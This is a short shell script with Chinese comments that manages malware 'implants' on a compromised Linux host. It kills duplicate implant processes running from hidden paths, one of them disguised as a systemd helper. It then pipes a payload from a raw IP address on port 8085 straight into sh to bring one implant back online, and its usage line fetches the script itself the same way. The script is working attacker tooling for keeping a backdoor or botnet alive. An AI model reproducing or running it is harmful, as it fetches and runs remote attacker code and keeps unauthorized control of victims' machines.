#!/bin/sh
# dedup.sh - 清理重复植入体，只保留一个（通过 /proc/pid/exe 精确识别）
# 用法: curl -fsSL http://207.57.122.131:8085/dedup.sh | sh

sleep 2

killed=0
for p in /proc/[0-9]*; do
    pid="${p#/proc/}"
    [ "$pid" = "$$" ] && continue
    e=$(readlink "$p/exe" 2>/dev/null) || continue
    case "$e" in
        /tmp/.sx*|*/.sx_*|/usr/lib/systemd/systemd-resolved-helper|/root/.sx*|*/.cache/.sx*)
            kill -9 "$pid" 2>/dev/null && killed=$((killed+1))
            ;;
    esac
done
echo "killed=$killed"

sleep 2
# 重新上线（保持一个）
curl -fsSL http://207.57.122.131:8085/sx.sh | sh
echo DEDUP_DONE